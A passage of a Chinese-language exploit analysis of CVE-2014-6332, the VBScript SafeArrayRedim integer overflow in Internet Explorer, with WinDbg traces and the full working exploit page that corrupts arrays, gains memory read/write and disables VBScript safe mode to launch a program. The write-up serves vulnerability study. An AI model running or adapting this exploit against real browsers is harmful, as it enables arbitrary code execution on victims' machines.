primitives＋GodMode的方式来实现漏洞的利用。不好说这两种思路孰优孰劣，应该是各有千秋的，绕过保护措施可能会复杂些，因而现今的exploit更多会先获取RW
primitives，之后corrupt有关数据结构来实现代码的执行。
该漏洞在当时还是比较严重的，几乎所有Windows版本中的IE都受到了影响，它是由于VBScript引擎在重新分配数组储存空间时的错误引起的，具体来说是oleaut32模块SafeArrayRedim函数中的整数溢出错误。当然，微软目前已经放弃了VBScript，但我们学习的目的在于举一隅以三隅反，因此理解其原理还是很有必要的。
此处的分析环境为Win7 x86 - IE 8.0.7601.17514。
### 0x02 RW primitives
我们先来看下如何通过此漏洞来获取RW primitives，即corrupt后的SAFEARRAY结构，这里注意下，RW(Read/Write)
primitives指的是exploit中那些用于实现内存读写的对象或函数。分析所用的PoC代码如下：
``` code html CVE-2014-6332 PoC.
我们知道在VBScript中，数组是以SAFEARRAY结构来保存的，其定义如下：
0:013> dt ole32!tagSAFEARRAY +0x000 cDims : Uint2B +0x002 fFeatures : Uint2B
+0x004 cbElements : Uint4B +0x008 cLocks : Uint4B +0x00c pvData : Ptr32 Void
+0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:013> dt ole32!tagSAFEARRAYBOUND
+0x000 cElements : Uint4B +0x004 lLbound : Int4B
其中cDims表示数组的维数，每个维度都对应一个SAFEARRAYBOUND结构，包含有此维度的大小和起始索引，同时，cbElements表示每个元素的大小，这些元素保存在pvData地址处。而对于fFeatures表示的含义，可参考此[说明](https://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx)。
此外，可以通过IDA得到如下的SafeArrayRedim函数定义：
```c
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew);
我们在IE中打开上述PoC文件，并用WinDbg附加相应进程，然后执行如下操作：
0:013> bp OLEAUT32!SafeArrayRedim
0:013> g
Breakpoint 3 hit
eax=023dcfa8 ebx=002c2a10 ecx=0006fa58 edx=0000400c esi=0006fa58 edi=00000000
eip=75aeec2c esp=023dcf94 ebp=023dcfb0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
75aeec2c 8bff mov edi,edi
0:005> kb 3
ChildEBP RetAddr Args to Child
023dcf90 728c58da 002c2a10 023dcfa8 0006f438 OLEAUT32!SafeArrayRedim
023dcfb0 728c5887 00000001 00000001 0006fa58 vbscript!RedimPreserveArray+0x81
023dd0ac 728b4ff6 023dd214 8f64c1b9 00000000 vbscript!CScriptRuntime::RunNoEH+0x1466
0:005> dd 002c2a10 L6
002c2a10 08800001 00000010 00000000 00234298
002c2a20 00000004 00000000
0:005> dd 023dcfa8 L2
023dcfa8 08421421 00000000
0:005> dd 00234298 L10
00234298 00000002 00000000 00000001 00000000
002342a8 00000002 00000000 00000002 00000000
002342b8 00000002 00000000 00000004 00000000
002342c8 00000002 00000000 00000008 00000000
可以看到，最初定义的数组维度为1，共有0x04个Variant型元素，且每个元素占0x10字节。这里特别强调下Variant结构，它在后续会经常用到，其定义如下：
图0
Variant结构的定义
保存浮点数时会同时使用Data High和Data Low字段，而如果只保存整型或指针则仅需Data
High字段，Type字段的定义可参考[这里](https://msdn.microsoft.com/en-us/library/3kfz157h\(v=vs.84\).aspx)，在本文中涉及到的类型如下：
图1 Type字段的定义
接着脚本借助redim来重新分配数组空间，对应元素个数为0x08421420+1=0x08421421，即0x08421421*0x10=0x84214210字节空间，很显然这个分配操作会失败，毕竟32位进程的用户态空间最大也只到0x7fffffff，但由于存在如下语句，脚本将会继续执行：
``` code html On Error Resume Next
当跳出SafeArrayRedim函数后，我们再看下此时SAFEARRAY结构中的内容：
0:005> dd 002c2a10 L6 002c2a10 08800001 00000010 00000000 00234298 002c2a20
08421421 00000000
即数组的起始地址仍为0x00234298，但索引范围变成了0~0x08421420，这正是我们要用到的corrupt后的SAFEARRAY结构，通过它可以获取RW primitives功能。如下给出了漏洞的具体成因：
0:005> uf OLEAUT32!SafeArrayRedim OLEAUT32!SafeArrayRedim: 75aeec2c 8bff mov
edi,edi 75aeec2e 55 push ebp 75aeec2f 8bec mov ebp,esp 75aeec31 83ec18 sub
esp,18h 75aeec34 53 push ebx 75aeec35 56 push esi 75aeec36 8b7508 mov
esi,dword ptr [ebp+8] 75aeec39 57 push edi 75aeec3a 33ff xor edi,edi 75aeec3c
3bf7 cmp esi,edi 75aeec3e 0f843f030000 je OLEAUT32!SafeArrayRedim+0x1d2
(75aeef83)
OLEAUT32!SafeArrayRedim+0x18: 75aeec44 397d0c cmp dword ptr [ebp+0Ch],edi
75aeec47 0f8436030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x21: 75aeec4d 0fb74e02 movzx ecx,word ptr [esi+2]
75aeec51 8bc1 mov eax,ecx 75aeec53 2500200000 and eax,2000h 75aeec58 8945f4
mov dword ptr [ebp-0Ch],eax 75aeec5b 66393e cmp word ptr [esi],di 75aeec5e
0f841f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x38: 75aeec64 397e08 cmp dword ptr [esi+8],edi
75aeec67 0f870c030000 ja OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)
OLEAUT32!SafeArrayRedim+0x41: 75aeec6d f6c110 test cl,10h 75aeec70
0f8503030000 jne OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)
OLEAUT32!SafeArrayRedim+0x4a: 75aeec76 8d45f0 lea eax,[ebp-10h] 75aeec79 50
push eax 75aeec7a 897d08 mov dword ptr [ebp+8],edi 75aeec7d 897df0 mov dword
ptr [ebp-10h],edi 75aeec80 e8f15dfeff call OLEAUT32!GetMalloc (75ad4a76)
75aeec85 8bd8 mov ebx,eax 75aeec87 3bdf cmp ebx,edi 75aeec89 0f85d5020000 jne
OLEAUT32!SafeArrayRedim+0x5f (75aeef64)
OLEAUT32!SafeArrayRedim+0x65: 75aeec8f 56 push esi ;SAFEARRAY结构的指针 75aeec90
e868f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;获取已分配的数组空间大小 75aeec95
8945fc mov dword ptr [ebp-4],eax ;保存已分配空间大小值0x00000040 75aeec98 3bc7 cmp
eax,edi 75aeec9a 7409 je OLEAUT32!SafeArrayRedim+0x7b (75aeeca5)
OLEAUT32!SafeArrayRedim+0x72: 75aeec9c 397e0c cmp dword ptr [esi+0Ch],edi
75aeec9f 0f84de020000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x7b: 75aeeca5 8b450c mov eax,dword ptr [ebp+0Ch]
75aeeca8 8b08 mov ecx,dword ptr [eax] 75aeecaa 8b5e10 mov ebx,dword ptr
[esi+10h] ;备份rgsabound中的cElements值0x00000004 75aeecad 8b7e14 mov edi,dword ptr
[esi+14h] ;备份rgsabound中的lLbound 75aeecb0 894e10 mov dword ptr [esi+10h],ecx
;修改rgsabound中的cElements为0x08421421 75aeecb3 8b4004 mov eax,dword ptr [eax+4]
75aeecb6 56 push esi ;SAFEARRAY结构的指针 75aeecb7 895de8 mov dword ptr
[ebp-18h],ebx 75aeecba 897dec mov dword ptr [ebp-14h],edi 75aeecbd 894614 mov
dword ptr [esi+14h],eax ;修改rgsabound中的lLbound 75aeecc0 e838f0ffff call
OLEAUT32!SafeArraySize (75aedcfd) ;获取待分配的数组空间大小 75aeecc5 8945f8 mov dword ptr
[ebp-8],eax ;保存待分配空间大小值0x84214210 75aeecc8 83f8ff cmp eax,0FFFFFFFFh 75aeeccb
0f8490910100 je OLEAUT32!SafeArrayRedim+0xa3 (75b07e61)
OLEAUT32!SafeArrayRedim+0xb3: 75aeecd1 8bd8 mov ebx,eax 75aeecd3 2b5dfc sub
ebx,dword ptr [ebp-4] ;待分配大小减去已分配大小，等于0x842141d0 75aeecd6 0f84a8000000 je
OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)
OLEAUT32!SafeArrayRedim+0xbe: 75aeecdc 8b7df0 mov edi,dword ptr [ebp-10h]
75aeecdf 85db test ebx,ebx 75aeece1 7d45 jge OLEAUT32!SafeArrayRedim+0x110
(75aeed28) ;将0x842141d0当作负数，整数溢出
OLEAUT32!SafeArrayRedim+0xc5: 75aeece3 b9200f0000 mov ecx,0F20h 75aeece8
66854e02 test word ptr [esi+2],cx 75aeecec 743a je
OLEAUT32!SafeArrayRedim+0x110 (75aeed28)
OLEAUT32!SafeArrayRedim+0xd0: 75aeecee 837df400 cmp dword ptr [ebp-0Ch],0
75aeecf2 0f8579910100 jne OLEAUT32!SafeArrayRedim+0xd6 (75b07e71)
OLEAUT32!SafeArrayRedim+0xe0: 75aeecf8 8b07 mov eax,dword ptr [edi] 75aeecfa
895d0c mov dword ptr [ebp+0Ch],ebx 75aeecfd f75d0c neg dword ptr [ebp+0Ch]
75aeed00 ff750c push dword ptr [ebp+0Ch] 75aeed03 57 push edi 75aeed04 ff500c
call dword ptr [eax+0Ch] ;ole32!CRetailMalloc_Alloc，分配空间失败 75aeed07 894508 mov
dword ptr [ebp+8],eax 75aeed0a 85c0 test eax,eax 75aeed0c 0f845d020000 je
OLEAUT32!SafeArrayRedim+0x19d (75aeef6f)
......
OLEAUT32!SafeArrayRedim+0x1b8: 75aeed75 837d0800 cmp dword ptr [ebp+8],0
75aeed79 7409 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)
OLEAUT32!SafeArrayRedim+0x1be: 75aeed7b ff7508 push dword ptr [ebp+8] 75aeed7e
8b07 mov eax,dword ptr [edi] 75aeed80 57 push edi 75aeed81 ff5014 call dword
ptr [eax+14h] ;ole32!CRetailMalloc_Free
OLEAUT32!SafeArrayRedim+0x1c7: 75aeed84 8bc3 mov eax,ebx
OLEAUT32!SafeArrayRedim+0x1d7: 75aeed86 5f pop edi 75aeed87 5e pop esi
75aeed88 5b pop ebx 75aeed89 c9 leave 75aeed8a c20800 ret 8
......
OLEAUT32!SafeArrayRedim+0x19d: 75aeef6f bb0e000780 mov ebx,8007000Eh 75aeef74
e9fcfdffff jmp OLEAUT32!SafeArrayRedim+0x1b8 (75aeed75)
......
我们知道SafeArrayRedim函数的第一个入参为SAFEARRAY结构的指针，其中包含已分配数组的SAFEARRAYBOUND信息，第二个入参为待分配数组的SAFEARRAYBOUND信息。在获取完已分配数组的大小后，程序根据待分配数组的SAFEARRAYBOUND信息来修改SAFEARRAY指针指向的原SAFEARRAYBOUND信息，即其中的cElements和lLbound，以此来获取待分配数组的大小。但由于之后jge指令将新增空间大小0x842141d0当成了负数，即整数溢出，导致程序进入错误的处理分支，新空间会分配失败，但函数在返回前并没有将原先备份的SAFEARRAYBOUND信息替换回去，从而分配的数组空间没变cElements值却改变了，因此corrupt后的SAFEARRAY结构可被用于内存的越界访问。
### 0x03 GodMode
接着我们来讨论如何在当前的IE环境中开启VBScript的GodMode，用到的代码如下：
```html
<html>
<body>
<SCRIPT LANGUAGE="VBScript">
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
</script>
</body>
</html>
正常情况打开这个html文件是无法弹出记事本的，因为IE会禁止运行那些可能危害系统的脚本，它会通过vbscript!COleScript::InSafeMode函数来对SafeMode标志进行检查，此标志的默认值为0x0e。我们重新打开上述文件并在WinDbg中进行如下操作：
0:012> bu vbscript!COleScript::InSafeMode
0:012> g
Breakpoint 0 hit
eax=76140782 ebx=00000000 ecx=0002bdd0 edx=76130000 esi=0002f558 edi=00000000
eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=0000000e
0:005> ln poi(ecx)
(6f354868) vbscript!COleScript::`vftable' | (6f36fdbc) vbscript!`string'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
0:005> dd ecx+174h L1
0002bf44 0000000e
0:005> uf vbscript!COleScript::InSafeMode
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh
6f35ce57 6a00 push 0
6f35ce59 58 pop eax
6f35ce5a 0f95c0 setne al
6f35ce5d c3 ret
0:005> eb ecx+174h 4
0:005> dd ecx+174h L1
0002bf44 00000004
0:005> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0002bdd0 edx=0244d3b0 esi=00000000 edi=00000000
eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=00000004
0:005> bd *
0:005> g
ModLoad: 6efe0000 6efe3000 C:\Windows\system32\sfc.dll
ModLoad: 6efd0000 6efdd000 C:\Windows\system32\sfc_os.DLL
可以看到，SafeMode标志是vbscript!COleScript对象指针特定偏移处的一个值，在InSafeMode函数中，会检查它和0x0B相与的结果，如果为0，那么VBScript的执行将不再受到限制，即此时SafeMode标志值要为0或4，通过手动修改内存中的这个标志值最终可以弹出记事本。
### 0x04 漏洞利用
在前面分析的基础上，我们来看一下此漏洞的[exploit](https://www.exploit-db.com/exploits/35229/)，具体思路就是通过corrupt后的SAFEARRAY结构来获取RW
primitives，然后对SafeMode标志进行修改，从而执行任意的VBScript代码：
<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa() '弹出记事本'
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa() '数组和变量的定义'
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray
Begin()
function Begin() '程序入口'
On Error Resume Next
info=Navigator.UserAgent
if (instr(info,"Win64")>0) then '判断系统位数并获取IE版本'
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
BeginInit()
if Create()=True then
myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00) '定义精心构造的SAFEARRAY结构'
Setnotsafemode()
end if
end function
function BeginInit() '数组和变量的初始化'
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create() '创建期望的内存布局'
On Error Resume Next
dim i
Create=False
for i = 0 to 400
if Over()=True then
Create=True
exit for
end if
next
end function
sub testaa()
end sub
function Mydata() '获取函数对象指针并布局精心构造的SAFEARRAY结构'
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314 '0x0000000300000003'
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310 '0x0000200c0000200c'
Mydata=aa(a1)
redim Preserve aa(a0)
end function
function Setnotsafemode()
On Error Resume Next
i=Mydata() '获取testaa函数对象指针，即CScriptEntryPoint对象指针'
i=ReadMemo(i+8)
i=ReadMemo(i+16) '获取COleScript对象指针'
for k=0 to &h60 step 4 '搜索内存中的SafeMode标志值并修改'
j=ReadMemo(i+&h120+k)
if (j=14) then
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) 'write primitive'
redim Preserve aa(a0)
exit for
end if
next
ab(2)=1.69759663316747E-313 '0x0000000800000008'
Runmumaa()
end function
function Over() '判断内存中分配的aa、ab这两个数组是否相邻'
On Error Resume Next
dim type1
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2) '对aa数组进行corrupt'
type1=1
ab(0)=1.012345678901234567890123456789 '用作标记值'
aa(a0)=10
if (IsObject(aa(a1-1)) = False) then
if (VarType(aa(a1-1))<>0) then
if (IsObject(aa(a1)) = False) then
type1=VarType(aa(a1))
end if
end if
end if
if (type1=&h0b24) then '判断是否和标记相符'
Over=True
end if
redim Preserve aa(a0) '恢复aa数组至corrupt前'
end function
function ReadMemo(add) '借助类型混淆来读取add地址处的值'
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313 '0x0000000800000008'
ReadMemo=lenb(aa(a1)) 'read primitive'
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>
其中，科学记数法表示的浮点数可由C中的printf函数进行转换：
``` code c printf("%I64x\n", 1.69759663316747E-313); printf("%.14E\n",
0x0000000800000008);
在调试过程中我们可适当插入document.write()来输出那些辅助的信息，同时还可以通过插入MsgBox()来定位相关代码，例如最开始先禁用WinDbg中的所有断点，待弹出窗口后再启用断点，这样我们就能快速跳到想要的位置跟踪调试了。
此外，[yuange](https://twitter.com/yuange75)的DVE（数据虚拟执行）想法确实妙，笔者还有待慢慢领悟，下面我们进入详细的分析。
####1 内存布局
exploit中用到了aa和ab两个数组，它们会在Over()中通过redim进行重新分配，也就是执行完如下两条语句后：
``` code html
redim Preserve aa(a0)
redim ab(a0)
内存布局需要达到如下效果，同样，每个数组元素都保存在Variant结构中：
图2 期望的内存布局
如果不满足就重复这个分配过程，由于相应空间分配在堆上，根据堆管理的性质是能实现上述布局的，这样就可以通过corrupt后的aa数组来越界访问ab数组了。我们来具体看一下：
0:012> bp OLEAUT32!SafeArrayRedim
0:012> g
Breakpoint 0 hit
eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84d0 edi=01e00900
eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> kb 3
ChildEBP RetAddr Args to Child
0249cafc 6fb158da 004692e8 0249cb14 ffffffff OLEAUT32!SafeArrayRedim
0249cb1c 6fb15887 00000001 00000001 01df84d0 vbscript!RedimPreserveArray+0x81
0249cc18 6fb04ff6 0249ce2c c9d653d5 01e008d0 vbscript!CScriptRuntime::RunNoEH+0x1466
0:005> dd 004692e8 L6
004692e8 08800001 00000010 00000000 0042e2b8
004692f8 00000006 00000000
......
0:005> g
(6b0.f28): Break instruction exception - code 80000003 (first chance)
eax=7ffd4000 ebx=00000000 ecx=00000000 edx=77b8f125 esi=00000000 edi=00000000
eip=77b240f0 esp=059dfd94 ebp=059dfdc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77b240f0 cc int 3
0:010> dd 004692e8 L6
004692e8 08800001 00000010 00000000 02e66ec8
004692f8 080000a2 00000000
0:010> !heap -p -a 02e66ec8
address 02e66ec8 found in
_HEAP @ 3c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02e66ec0 0145 0000 [00] 02e66ec8 00a20 - (busy)
0:010> ? 02e66ec8+a2*10
Evaluate expression: 48658664 = 02e678e8
此时地址0x02e678e8处即为8字节的堆指针，内存分布如下：
图3 满足条件的内存分布
其中，数值1.012345678901234567890123456789保存在ab(0)中，该Variant结构的Type字段为5，而Data
High＋Data
Low字段为0x3ff0329161f20b24。当aa数组corrupt后可以访问到ab数组中的数据，由于这之间恰好隔了8字节的堆指针，所以这两个数组的Type＋Reserved部分就和Data
High＋Data Low部分交错了，因此ab(0)的Data High＋Data
Low部分会被当成aa(a1)的Type＋Reserved部分，即VarType(aa(a1))等于0x0b24。
#### 2 类型混淆
在完成内存的布局后，exploit就可以借助ab数组元素的赋值操作来对corrupt后aa数组元素的Type字段进行更改，从而实现类型的混淆，接下去我们将分析exploit中用到的类型混淆手法以及由此得到的Read
primitive。
来看下Mydata()函数，它会通过如下代码将testaa函数对象指针赋给i：
``` code html On Error Resume Next i=testaa i=null
接着是与类型混淆有关的那部分代码：
``` code html
redim Preserve aa(a2) '对aa数组进行corrupt'
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314 '0x0000000300000003'
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310 '0x0000200c0000200c'
Mydata=aa(a1)
redim Preserve aa(a0) '恢复aa数组至corrupt前'
这里面会进行两次类型混淆处理，首先由于变量i的类型为null(0x01)，因此需要将其转成long
integer(0x03)后再返回，该函数对象指针事实上就是CScriptEntryPoint对象的指针。而myarray中则保存着精心构造的SAFEARRAY结构，最初赋给aa(a1+2)时其类型为string(0x08)，需要将其类型改为Variant数组，这在后面获取Write
primitive时会用到。对应的调试过程如下：
0:005> bl
0 e 7664ec2c 0001 (0001) 0:**** OLEAUT32!SafeArrayRedim
1 e 6fb02e64 0001 (0001) 0:**** vbscript!AssignVar
2 e 6fb11f4c 0001 (0001) 0:**** vbscript!AccessArray
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb13991 0013ebf0 02e678f8 01df84f0
0:005> dd 01df84f0 L4
01df84f0 0000400c 00000000 0013268c 41a00001
0:005> dd 0013268c L4
0013268c 00000001 00000080 01df8718 01000f0e
0:005> ln poi(01df8718)
(6fb04934) vbscript!CScriptEntryPoint::`vftable' | (6fb1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 01 00 00 00 80 00 00 00-18 87 df 01 0e 0f 00 01 ................
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb13991 0013ebf0 02e678f0 01df84f0
0:005> db 02e678f0 L10
02e678f0 02 00 00 00 00 00 00 00-01 00 00 00 80 00 00 00 ................
0:005> db 01df84f0 L10
01df84f0 05 00 00 00 00 00 00 00-03 00 00 00 03 00 00 00 ................
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f23c edx=0000400c esi=01e00900 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01 ................
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L40
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01 ................
02e67908 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02e67918 08 00 49 02 a5 00 00 00-14 50 40 00 18 cc 49 02 [email protected].
0:005> dd 00405014-4 L8
00405010 00000018 08800001 00000001 00000000
00405020 00000000 7fff0000 00000000 00000000
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L40
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01 ................
02e67908 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
02e67918 0c 20 00 00 0c 20 00 00-14 50 40 00 18 cc 49 02 . ... [email protected].
0:005> dt ole32!tagSAFEARRAY 00405014
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 1
+0x008 cLocks : 0
+0x00c pvData : (null)
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
我们知道字符串在内存中是以BSTR对象保存的，暂不论类型混淆，就myarray字符串而言，它在内存中的保存结果如下，Data
High字段中的指针0x00405014指向相应的字符内容：
图4
内存中的myarray
其中，BSTR对象头部表示字符串的长度，此情况中即为poi(0x00405014-4)=0x18。
了解这一点后，我们再来看实现Read primitive的函数：
function ReadMemo(add) '借助类型混淆来读取add地址处的值'
On Error Resume Next
redim Preserve aa(a2) '对aa数组进行corrupt'
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313 '0x0000000800000008'
ReadMemo=lenb(aa(a1)) 'read primitive'
ab(0)=0
redim Preserve aa(a0) '恢复aa数组至corrupt前'
end function
首先add+4会以long
integer(0x03)类型赋给aa(a1)，这里add为要读取的地址，而后aa(a1)的类型被改成了string(0x08)，于是add+4也就被当成了指向字符内容的指针，因此lenb(aa(a1))就等价于poi(add+4-4)，即add地址处的值。
对于Setnotsafemode函数中的如下ReadMemo调用：
On Error Resume Next
i=Mydata() '获取testaa函数对象指针，即CScriptEntryPoint对象指针'
i=ReadMemo(i+8)
其跟踪过程如下：
0:005> g
Breakpoint 1 hit
eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb13991 0013ebf0 02e678f8 01df84e0
0:005> dd 01df84e0 L4
01df84e0 00000003 00000000 01df8724 41a00001
0:005> ln poi(01df8724)
0:005> ln poi(01df8724-8)
0:005> ln poi(01df8724-8-4)
(6fb04934) vbscript!CScriptEntryPoint::`vftable' | (6fb1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 00 00 00 00-24 87 df 01 01 00 a0 41 ........$......A
0:005> g
Breakpoint 1 hit
eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
